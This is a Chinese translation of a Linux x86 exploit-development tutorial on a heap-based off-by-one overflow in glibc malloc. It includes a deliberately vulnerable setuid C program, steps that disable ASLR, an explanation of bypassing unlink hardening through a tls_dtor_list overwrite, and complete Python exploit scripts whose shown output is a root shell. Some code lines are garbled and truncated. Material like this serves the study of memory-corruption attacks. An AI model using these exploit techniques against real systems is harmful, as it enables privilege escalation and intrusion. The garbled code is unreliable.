Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)
Off-By-One 漏洞(基于堆)
译者:飞龙
原文:Off-By-One Vulnerability (Heap Based)
预备条件:
- Off-By-One 漏洞(基于栈)
- 理解 glibc malloc
VM 配置:Fedora 20(x86)
什么是 Off-By-One 漏洞?
在这篇文章中提到过,将源字符串复制到目标缓冲区可能造成 Off-By-One 漏洞,当源字符串的长度等于目标缓冲区长度的时候。
当源字符串的长度等于目标缓冲区长度的时候,单个 NULL 字符会复制到目标缓冲区的上方。因此由于目标缓冲区位于堆上,单个 NULL 字节会覆盖下一个块的块头部,并且这会导致任意代码执行。
回顾:在这篇文章中提到,在每个用户请求堆内存时,堆段被划分为多个块。每个块有自己的块头部(由malloc_chunk
表示)。malloc_chunk
结构包含下面四个元素:
prev_size
– 如果前一个块空闲,这个字段包含前一个块的大小。否则前一个块是分配的,这个字段包含前一个块的用户数据。size
:这个字符包含分配块的大小。字段的最后三位包含标志信息。PREV_INUSE (P)
如果前一个块已分配,会设置这个位。IS_MMAPPED (M)
当块是 mmap 块时,会设置这个位。NON_MAIN_ARENA (N)
当这个块属于线程 arena 时,会设置这个位。
fd
指向相同 bin 的下一个块。bk
指向相同 bin 的上一个块。
漏洞代码:
//consolidate_forward.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>#define SIZE 16int main(int argc, char* argv[])
{int fd = open("./inp_file", O_RDONLY); /* [1] */if(fd == -1) {printf("File open error\n");fflush(stdout);exit(-1);}if(strlen(argv[1])>1020) { /* [2] */printf("Buffer Overflow Attempt. Exiting...\n");exit(-2);}char* tmp = malloc(20-4); /* [3] */char* p = malloc(1024-4); /* [4] */char* p2 = malloc(1024-4); /* [5] */char* p3 = malloc(1024-4); /* [6] */read(fd,tmp,SIZE); /* [7] */strcpy(p2,argv[1]); /* [8] */free(p); /* [9] */
}
编译命令:
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward
注意:
出于我们的演示目的,关闭了 ASLR。如果你也想要绕过 ASLR,使用信息泄露 bug,或者爆破机制,在这篇文章中描述。
上述漏洞代码的行[2]
和[8]
是基于堆的 off-by-one 溢出发生的地方。目标缓冲区的长度是 1020,因此长度为 1020 的源字符串可能导致任意代码执行。
任意代码执行如何实现?
任意代码执行,当单个 NULL 字节覆盖下一个块(p3
)的块头部时实现。当大小为 1020 字节(p2
)的块由单个字节溢出时,下一个块(p3
)的头部中的size
的最低字节会被 NULL 字节覆盖,并不是prev_size
的最低字节。
为什么
size
的 LSB 会被覆盖,而不是prev_size
?
checked_request2size
将用户请求的大小转换为可用大小(内部表示的大小),因为需要一些额外空间来储存malloc_chunk
,并且也出于对齐目的。转换实现的方式是,可用大小的三个最低位始终不会为零(也就是 8 的倍数,译者注),所以可以用于放置标志信息 P、M 和 N。
因此当我们的漏洞代码执行malloc(1020)
时,用户请求大小 1020 字节会转换为((1020 + 4 + 7) & ~7)
字节(内部表示大小)。1020 字节的分配块的富余量仅仅是 4 个字节。但是对于任何分配块,我们需要 8 字节的块头部,以便储存prev_size
和size
信息。因此 1024 字节的前八字节会用于块头部,但是现在我们只剩下 1016(1024 - 8)字节用于用户数据,而不是 1020 字节。但是像上面prev_size
定义中所述,如果上一个块(p2
)已分配,块(p3
)的prev_size
字段包含用户数据。因此块p3
的prev_size
位于这个 1024 字节的分配块p2
后面,并包含剩余 4 字节的用户数据。这就是size
的 LSB 被单个 NULL 字节覆盖,而不是prev_size
的原因。
堆布局
注意:上述图片中的攻击者数据会在下面的“覆盖tls_dtor_list
”一节中解释。
现在回到我们原始的问题。
任意代码执行如何实现?
现在我们知道了,在 off-by-one 漏洞中,单个 NULL 字节会覆盖下一个块(p3
)size
字段的 LSB。这单个 NULL 字节的溢出意味着这个块(p3
)的标志信息被清空,也就是被溢出块(p2
)变成空闲块,虽然它处于分配状态。当被溢出块(p2
)的标志 P 被清空,这个不一致的状态让 glibc 代码 unlink 这个块(p2
),它已经在分配状态。
在这篇文章中我们看到,unlink 一个已经处于分配状态的块,会导致任意代码执行,因为任何四个字节的内存区域都能被攻击者的数据覆盖。但是在同一篇文章中,我们也看到,unlink 技巧已经废弃,因为 glibc 近几年来变得更加可靠。具体来说,因为“双向链表损坏”的条件,任意代码执行时不可能的。
但是在 2014 年末,Google 的 Project Zero 小组找到了一种方式,来成功绕过“双向链表损坏”的条件,通过 unlink large 块。
unlink:
#define unlink(P, BK, FD) { FD = P->fd; BK = P->bk;// Primary circular double linked list hardening - Run time checkif (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */malloc_printerr (check_action, "corrupted double-linked list", P); else { // If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!FD->bk = BK; /* [2] */BK->fd = FD; /* [3] */if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { // Secondary circular double linked list hardening - Debug assertassert (P->fd_nextsize->bk_nextsize == P); /* [4] */assert (P->bk_nextsize->fd_nextsize == P); /* [5] */if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { // If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */} } }
}
在 glibc malloc 中,主要的环形双向链表由malloc_chunk
的fd
和bk
字段维护,而次要的环形双向链表由malloc_chunk
的fd_nextsize
和bk_nextsize
字段维护。双向链表的加固看起来用在主要(行[1]
)和次要(行[4]
和[5]
)的双向链表上,但是次要的环形双向链表的加固,只是个调试断言语句(不像主要双向链表加固那样,是运行时检查),它在生产构建中没有被编译(至少在 fedora x86 中)。因此,次要的环形双向链表的加固(行[4]
和[5]
)并不重要,这让我们能够向任意 4 个字节的内存区域写入任何数据(行[6]
和[7]
)。
然而还有一些东西应该解释,所以让我们更详细地看看,unlink large 块如何导致任意代码执行。由于攻击者已经控制了 – 要被释放的 large 块,它覆盖了malloc_chunk
元素,像这样:
fd
应该指向被释放的块,来绕过主要环形双向链表的加固。bk
也应该指向被释放的块,来绕过主要环形双向链表的加固。fd_nextsize
应该指向free_got_addr – 0x14
。bk_nextsize
应该指向system_addr
。
但是根据行[6]
和[7]
,需要让fd_nextsize
和bk_nextsize
都是可写的。fd_nextsize
是可写的,(因为它指向了free_got_addr – 0x14
),但是bk_nextsize
不是可写的,因为他指向了system_addr
,它属于libc.so
的文本段。让fd_nextsize
和bk_nextsize
都可写的问题,可以通过覆盖tls_dtor_list
来解决。
覆盖tls_dtor_list
:
tls_dtor_list
是个线程局部的变量,它包含函数指针的列表,它们在exit
过程中调用。__call_tls_dtors
遍历tls_dtor_list
并依次调用函数。因此如果我们可以将tls_dtor_list
覆盖为堆地址,它包含system
和system_arg
,来替代dtor_list
的func
和obj
,我们就能调用system
。
所以现在攻击者需要覆盖要被释放的 large 块的malloc_chunk
元素,像这样:
fd
应该指向被释放的块,来绕过主要环形双向链表的加固。bk
也应该指向被释放的块,来绕过主要环形双向链表的加固。fd_nextsize
应该指向tls_dtor_list - 0x14
。bk_nextsize
应该指向含有dtor_list
元素的堆地址。
fd_nextsize
可写的问题解决了,因为tls_dtor_list
属于libc.so
的可写区段,并且通过反汇编_call_tls_dtors()
,tls_dtor_list
的地址为0xb7fe86d4
。
bk_nextsize
可写的问题也解决了,因为它指向堆地址。
使用所有这些信息,让我们编写利用程序来攻击漏洞二进制的“前向合并”。
利用代码:
#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import callfd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce#endianess convertion
def conv(num):return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996print "Calling vulnerable program"
call(["./consolidate_forward", buf])
执行上述利用代码不会向我们提供 root shell。它向我们提供了一个运行在我们的权限级别的 bash shell。嗯…
$ python -c 'print "A"*16' > inp_file
$ python exp_try.py
Calling vulnerable program
sh-4.2$ id
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ exit
exit
$
为什么不能获得 root shell?
当uid != euid
时,/bin/bash
会丢弃权限。我们的二进制“前向合并”的真实 uid 是 1000,但是它的有效 uid 是 0。因此当system
调用时,bash 会丢弃权限,因为真实 uid 不等于有效 uid。为了解决这个问题,我们需要在system
之前调用setuid(0)
,因为_call_tls_dtors()
依次遍历tls_dtor_list
,我们需要将setuid
和system
链接,以便获得 root shell。
完整的利用代码:
#gen_file.py
#!/usr/bin/env python
import struct#dtor_list
setuid = 0x4e123e30
setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430#endianess convertion
def conv(num):return struct.pack("<I",num(setuid)
tst += conv(setuid_arg)
tst += conv(mp)
tst += conv(nxt)print tst
-----------------------------------------------------------------------------------------------------------------------------------
#exp.py
#!/usr/bin/env python
import struct
from subprocess import callfd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce#endianess convertion
def conv(num):return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996print "Calling vulnerable program"
call(["./consolidate_forward", buf])
执行上述利用代码会给我们 root shell。
$ python gen_file.py > inp_file
$ python exp.py
Calling vulnerable program
sh-4.2# id
uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
exit
$
我们的 off-by-one 漏洞代码会向前合并块,也可以向后合并。这种向后合并 off-by-one 漏洞代码也可以利用。
Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)相关推荐
- SploitFun Linux x86 Exploit 开发系列教程
SploitFun Linux x86 Exploit 开发系列教程 原文:Linux (x86) Exploit Development Series 在线阅读 PDF格式 EPUB格式 MOBI格 ...
- linux的地址随机化ASLR,[翻译]Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)...
前提条件: 经典的基于堆栈的缓冲区溢出 虚拟机安装:Ubuntu 12.04(x86) 在以前的帖子中,我们看到了攻击者需要知道下面两样事情 堆栈地址(跳转到shellcode) libc基地址(成功 ...
- Linux (x86) Exploit 开发系列教程之十二 释放后使用
释放后使用 译者:飞龙 原文:Use-After-Free 预备条件: Off-By-One 漏洞(基于栈) 理解 glibc malloc VM 配置:Fedora 20(x86) 什么是释放后使用 ...
- Linux (x86) Exploit 开发系列教程之十 使用 Malloc Maleficarum 的堆溢出
使用 Malloc Maleficarum 的堆溢出 译者:飞龙 原文:Heap overflow using Malloc Maleficarum 预备条件: 理解 glibc malloc 从 2 ...
- Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分
绕过 ASLR – 第三部分 译者:飞龙 原文:Bypassing ASLR – Part III 预备条件: 经典的基于栈的溢出 绕过 ASLR – 第一部分 VM 配置:Ubuntu 12.04 ...
- aslr oracle,Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分
绕过 ASLR – 第三部分 预备条件: VM 配置:Ubuntu 12.04 (x86) 在这篇文章中,让我们看看如何使用 GOT 覆盖和解引用技巧.来绕过共享库地址随机化.我们在第一部分中提到过, ...
- Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
(1)原理: 使用爆破技巧,来绕过共享库地址随机化.爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功.这个技巧是用于绕过 ASLR 的最简单的技巧. (2)漏洞代码 //vuln.c # ...
- Linux (x86) Exploit 开发系列教程之九 使用 unlink 的堆溢出
使用 unlink 的堆溢出 译者:飞龙 原文:Heap overflow using unlink 预备条件: 理解 glibc malloc 这篇文章中,让我们了解如何使用 unlink 技巧成功 ...
- Exploit开发系列教程-Mona 2 SEH
P3nro5e · 2015/07/10 10:58 0x00 Mona 2 前言 & 准备 Mona 2是一种非常有用的插件,它由Corelan Team开发.起初是为Immunity De ...
最新文章
- [导入]利用PIL生成水印图片或文字
- Linux基础命令---shutdown
- ASP.NET DEMO 12 : CheckBoxList 实现单选
- 操作系统课设--NACHOS试验环境准备、安装与MAKEFILE分析
- PostgreSQL Oracle 兼容性之 - INDEX SKIP SCAN (递归查询变态优化) 非驱动列索引扫描优化...
- GWT 2 Spring 3 JPA 2 Hibernate 3.5教程
- H264/H265之NALU结构(三)
- 北京大学Cousera学习笔记--7-计算导论与C语言基础--基本数据类型变量常量
- 公司搞不好,除了坑股东,还坑的是客户
- ArcGIS与地理加权回归GWR【二】以及MGWR软件下载
- mflac格式解密_如何解密QQ音乐的MFLAC和MGG格式
- 人类简史下载pdf_《人类简史:从动物到上帝》高清扫描版pdf下载
- 华为手机2.3亿出货量背后,一场技术+市场的胜利
- 算法题--广度优先算法(素数行李箱密码解法加步骤)
- 一分钟为网站添加统计功能
- Win11自带微软浏览器无法翻译
- JS实现点击按钮图片左右切换、点击图片按钮出现下拉菜单
- 超强大在线词频统计功能,从一篇文章到一个G的文本均可轻松统计
- ligerui 表格滚动条放在表格里,固定表头
- Jenkins GSoC 2020 机器学习插件项目